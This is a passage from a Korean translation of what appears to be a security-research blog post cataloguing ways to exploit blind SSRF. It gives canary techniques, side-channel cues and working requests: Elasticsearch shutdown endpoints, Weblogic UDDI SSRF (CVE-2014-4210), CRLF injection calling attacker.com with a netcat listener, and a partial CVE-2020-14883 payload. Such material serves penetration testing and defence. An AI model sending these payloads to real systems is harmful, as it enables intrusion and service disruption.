
블라인드 SSRF 취약점을 연쇄적으로 활용할 수 있는 모든 가능한 방법에 대한 포괄적인 목록
서버 측 요청 위조는 서버를 강제로 대신 임의의 요청을 보내도록 할 때 발생합니다. 요청이 서버에 의해 이루어지기 때문에 서버가 네트워크 상에 위치한 곳에 따라 내부 리소스에 접근할 수 있을 수 있습니다. 클라우드 환경에서는 민감한 자격 증명이나 비밀을 포함할 수 있는 메타데이터 엔드포인트의 존재로 인해 SSRF가 더 큰 위험을 제기합니다.
서버 측 요청 위조를 익스플로잇할 때 응답을 읽을 수 없는 상황에 자주 처하게 됩니다. 업계에서는 이러한 동작을 '블라인드 SSRF'라고 부릅니다. 이러한 상황에서 어떻게 영향을 증명할 수 있을까요? 이는 Justin Gardner가 트위터에서 촉발한 흥미로운 논의였습니다:
I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) January 13, 2021
내부 리소스에 도달할 수 있다면 영향을 증명하기 위해 실행할 수 있는 여러 잠재적 익스플로잇 체인이 있습니다. 이 블로그 게시물은 블라인드 SSRF를 활용할 때 알려진 각 익스플로잇 체인에 대해 자세히 설명하며, 더 많은 기술이 발견되고 공유됨에 따라 업데이트될 것입니다.
놓친 기술이 있다면 트윗이나 DM을 보내주세요: @assetnote. 이 블로그에 추가하겠습니다.
I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.
— Frans Rosén (@fransrosen) January 13, 2021
내부 서비스나 애플리케이션과 상호 작용할 수 있는지 확인하기 위해 'SSRF 카나리'를 활용할 수 있습니다.
이는 다른 SSRF를 수행하고 카나리 호스트로 호출하는 내부 URL을 요청할 때입니다. 카나리 호스트로 요청을 받으면 아웃바운드 요청도 가능한 내부 서비스를 성공적으로 공격한 것입니다.
이는 SSRF 취약점이 내부 네트워크나 애플리케이션에 접근할 수 있는지, 그리고 내부 네트워크에 특정 소프트웨어가 존재하는지 확인하는 효과적인 방법입니다. 또한 SSRF 카나리의 위치에 따라 내부 네트워크의 더 민감한 부분으로 피벗할 수도 있습니다.
가능한 한 많은 내부 호스트를 찾는 것을 목표로 DNS 데이터 소스를 활용하여 내부 호스트를 가리키는 모든 레코드를 찾을 수 있습니다.
클라우드 환경에서는 내부 VPC 내의 호스트를 가리키는 ELB를 자주 볼 수 있습니다. 대상 자산이 있는 VPC에 따라 동일한 VPC 내의 다른 호스트에 접근할 수 있을 수도 있습니다.
예를 들어, DNS 데이터 소스에서 다음 호스트가 발견되었다고 가정해 보겠습니다:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
`es`가 Elasticsearch를 의미한다고 가정할 수 있으며, 그런 다음 이 호스트에 대해 추가 공격을 수행할 수 있습니다. 또한 이 방법을 통해 식별된 모든 "내부" 호스트에 대해 이러한 블라인드 SSRF 페이로드를 모두 스프레이할 수도 있습니다. 이는 종종 효과적입니다.
더 많은 내부 호스트를 찾으려면 모든 DNS 데이터를 가져와 [AltDNS](https://github.com/infosec-au/altdns)와 같은 도구를 사용하여 변형을 생성한 다음 [빠른 DNS 무차별 도구](https://github.com/blechschmidt/massdns)로 해석하는 것을 추천합니다.
이 작업이 완료되면 새로 발견된 모든 내부 호스트를 식별하고 이를 블라인드 SSRF 체인의 일부로 사용하십시오.
## 사이드 채널 누출
블라인드 SSRF 취약점을 익스플로잇할 때 반환되는 응답에 대한 일부 정보를 누출할 수 있습니다. 예를 들어, XXE를 통한 블라인드 SSRF가 있다고 가정해 봅시다. 오류 메시지는 다음을 나타낼 수 있습니다:
- 응답이 반환됨
`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
대비
- 호스트와 포트에 연결할 수 없음
`Error parsing request: System.Net.WebException: Unable to connect to the remote server`
마찬가지로, XXE 외에도 웹 애플리케이션은 다음과 같은 차이점을 검사하여 파악할 수 있는 사이드 채널 누출이 있을 수 있습니다:
- **응답 상태 코드**:
온라인 내부 자산:포트는 `200 OK`로 응답하는 반면 오프라인 내부 자산:포트는 `500 Internal Server Error`로 응답
- **응답 내용**:
요청하려는 URL에 도달 가능한지 여부에 따라 응답 크기(바이트)가 더 작거나 더 큼
- **응답 시간**:
요청하려는 URL에 도달 가능한지 여부에 따라 응답 시간이 더 느리거나 빠름
---------------
# 기법
**HTTP(s)를 통해 가능**
- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [기타 Atlassian 제품](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)
**Gopher를 통해 가능**
- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)
**도구**
- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)
----------------------------------
**HTTP(s)를 통해 가능**
<div id="elasticsearch"></div>
## Elasticsearch
**일반적으로 바인딩되는 포트: 9200**
Elasticsearch가 내부에 배포될 때 일반적으로 인증이 필요하지 않습니다.
부분적으로 블라인드 SSRF가 있어 상태 코드를 확인할 수 있다면, 다음 엔드포인트가 200을 반환하는지 확인하십시오:```http
/_cluster/health
/_cat/indices
/_cat/health
블라인드 SSRF에서 POST 요청을 보낼 수 있는 경우, 다음 경로로 POST 요청을 보내 Elasticsearch 인스턴스를 종료할 수 있습니다:
참고: _shutdown API는 Elasticsearch 버전 2.x. 이상에서 제거되었습니다. 이것은 Elasticsearch 1.6 이하에서만 작동합니다:```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
<div id="weblogic"></div>
## Weblogic
**일반적으로 바인딩되는 포트: 80, 443 (SSL), 7001, 8888**
**SSRF 카나리: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
이는 GET을 통해서도 작동합니다:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
이 엔드포인트는 CRLF 주입에도 취약합니다:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
다음 요청이 발생합니다:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive
sdf**SSRF Canary: CVE-2020-14883**
[여기](https://forum.90sec.com/t/topic/1412)에서 가져왔습니다.
리눅스:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117